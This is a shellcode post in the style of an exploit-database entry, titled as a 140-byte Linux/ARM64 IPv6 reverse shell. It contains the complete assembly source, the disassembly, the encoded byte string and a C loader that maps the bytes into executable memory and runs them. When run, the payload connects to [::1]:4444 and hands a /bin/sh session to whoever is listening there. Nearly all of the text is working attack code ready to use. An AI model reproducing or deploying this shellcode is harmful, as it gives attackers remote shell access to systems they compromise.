140 bytes small Linux/ARM64 reverse (::1:4444/TCP) shell (/bin/sh) + IPv6 shellcode.
963fa2ad715b4be81cf33bb8532a371b/*
# Title: Linux/ARM64 - Reverse (::1:4444/TCP) Shell (/bin/sh) +IPv6 Shellcode (140 bytes)
# Date: 2019-06-30
# Tested: Ubuntu 16.04 (aarch64)
# Author: Ken Kitahara
# Compilation: gcc -o loader loader.c
ubuntu@ubuntu:~/works$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu Xenial Xerus (development branch)
Release: 16.04
Codename: xenial
ubuntu@ubuntu:~/works$ uname -a
Linux ubuntu 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8 15:00:45 UTC 2015 aarch64 aarch64 aarch64 GNU/Linux
ubuntu@ubuntu:~/works$ cat ipv6revshell.s
.section .text
.global _start
_start:
// socket(10, 1, 0)
mov x0, #0x0a
lsr x1, x0, #3
lsl x3, x1, #2
mov x2, xzr
mov x8, #198
svc #0x1337
// save fd
mvn x4, x0
// connect(fd, &sockaddr, 28)
str xzr, [sp, #-8]!
mov x1, #0x0100000000000000
str x1, [sp, #-8]!
str xzr, [sp, #-8]!
movz x1, #0x0A
movk x1, #0x5C11, lsl #16
str x1, [sp, #-8]!
add x1, sp, x2
mov x2, #28
mov x8, #203
svc #0x1337
mov x1, x3
dup3:
// dup3(s, 2, 0)
// dup3(s, 1, 0)
// dup3(s, 0, 0)
mvn x0, x4
lsr x1, x1, #1
mov x2, xzr
mov x8, #24
svc #0x1337
mov x10, xzr
cmp x10, x1
bne dup3
// execve("/bin/sh", 0, 0)
mov x3, #0x622F
movk x3, #0x6E69, lsl #16
movk x3, #0x732F, lsl #32
movk x3, #0x68, lsl #48
str x3, [sp, #-8]!
add x0, sp, x1
mov x8, #221
svc #0x1337
ubuntu@ubuntu:~/works$ as -o ipv6revshell.o ipv6revshell.s && ld -o ipv6revshell ipv6revshell.o
ubuntu@ubuntu:~/works$ objdump -d ./ipv6revshell
./ipv6revshell: file format elf64-littleaarch64
Disassembly of section .text:
0000000000400078 <_start>:
400078: d2800140 mov x0, #0xa // #10
40007c: d343fc01 lsr x1, x0, #3
400080: d37ef423 lsl x3, x1, #2
400084: aa1f03e2 mov x2, xzr
400088: d28018c8 mov x8, #0xc6 // #198
40008c: d40266e1 svc #0x1337
400090: aa2003e4 mvn x4, x0
400094: f81f8fff str xzr, [sp,#-8]!
400098: d2e02001 mov x1, #0x100000000000000 // #72057594037927936
40009c: f81f8fe1 str x1, [sp,#-8]!
4000a0: f81f8fff str xzr, [sp,#-8]!
4000a4: d2800141 mov x1, #0xa // #10
4000a8: f2ab8221 movk x1, #0x5c11, lsl #16
4000ac: f81f8fe1 str x1, [sp,#-8]!
4000b0: 8b2263e1 add x1, sp, x2
4000b4: d2800382 mov x2, #0x1c // #28
4000b8: d2801968 mov x8, #0xcb // #203
4000bc: d40266e1 svc #0x1337
4000c0: aa0303e1 mov x1, x3
00000000004000c4 <dup3>:
4000c4: aa2403e0 mvn x0, x4
4000c8: d341fc21 lsr x1, x1, #1
4000cc: aa1f03e2 mov x2, xzr
4000d0: d2800308 mov x8, #0x18 // #24
4000d4: d40266e1 svc #0x1337
4000d8: aa1f03ea mov x10, xzr
4000dc: eb01015f cmp x10, x1
4000e0: 54ffff21 b.ne 4000c4 <dup3>
4000e4: d28c45e3 mov x3, #0x622f // #25135
4000e8: f2adcd23 movk x3, #0x6e69, lsl #16
4000ec: f2ce65e3 movk x3, #0x732f, lsl #32
4000f0: f2e00d03 movk x3, #0x68, lsl #48
4000f4: f81f8fe3 str x3, [sp,#-8]!
4000f8: 8b2163e0 add x0, sp, x1
4000fc: d2801ba8 mov x8, #0xdd // #221
400100: d40266e1 svc #0x1337
ubuntu@ubuntu:~/works$ objcopy -O binary ipv6revshell ipv6revshell.bin
ubuntu@ubuntu:~/works$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' ipv6revshell.bin && echo
\x40\x01\x80\xd2\x01\xfc\x43\xd3\x23\xf4\x7e\xd3\xe2\x03\x1f\xaa\xc8\x18\x80\xd2\xe1\x66\x02\xd4\xe4\x03\x20\xaa\xff\x8f\x1f\xf8\x01\x20\xe0\xd2\xe1\x8f\x1f\xf8\xff\x8f\x1f\xf8\x41\x01\x80\xd2\x21\x82\xab\xf2\xe1\x8f\x1f\xf8\xe1\x63\x22\x8b\x82\x03\x80\xd2\x68\x19\x80\xd2\xe1\x66\x02\xd4\xe1\x03\x03\xaa\xe0\x03\x24\xaa\x21\xfc\x41\xd3\xe2\x03\x1f\xaa\x08\x03\x80\xd2\xe1\x66\x02\xd4\xea\x03\x1f\xaa\x5f\x01\x01\xeb\x21\xff\xff\x54\xe3\x45\x8c\xd2\x23\xcd\xad\xf2\xe3\x65\xce\xf2\x03\x0d\xe0\xf2\xe3\x8f\x1f\xf8\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4
*/
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char shellcode[] =
"\x40\x01\x80\xd2\x01\xfc\x43\xd3\x23\xf4\x7e\xd3\xe2\x03\x1f\xaa"
"\xc8\x18\x80\xd2\xe1\x66\x02\xd4\xe4\x03\x20\xaa\xff\x8f\x1f\xf8"
"\x01\x20\xe0\xd2\xe1\x8f\x1f\xf8\xff\x8f\x1f\xf8\x41\x01\x80\xd2"
"\x21\x82\xab\xf2\xe1\x8f\x1f\xf8\xe1\x63\x22\x8b\x82\x03\x80\xd2"
"\x68\x19\x80\xd2\xe1\x66\x02\xd4\xe1\x03\x03\xaa\xe0\x03\x24\xaa"
"\x21\xfc\x41\xd3\xe2\x03\x1f\xaa\x08\x03\x80\xd2\xe1\x66\x02\xd4"
"\xea\x03\x1f\xaa\x5f\x01\x01\xeb\x21\xff\xff\x54\xe3\x45\x8c\xd2"
"\x23\xcd\xad\xf2\xe3\x65\xce\xf2\x03\x0d\xe0\xf2\xe3\x8f\x1f\xf8"
"\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4";
int main(int argc, char **argv) {
printf("Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x100, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
memcpy(ptr, shellcode, sizeof(shellcode));
sc = ptr;
sc();
return 0;
}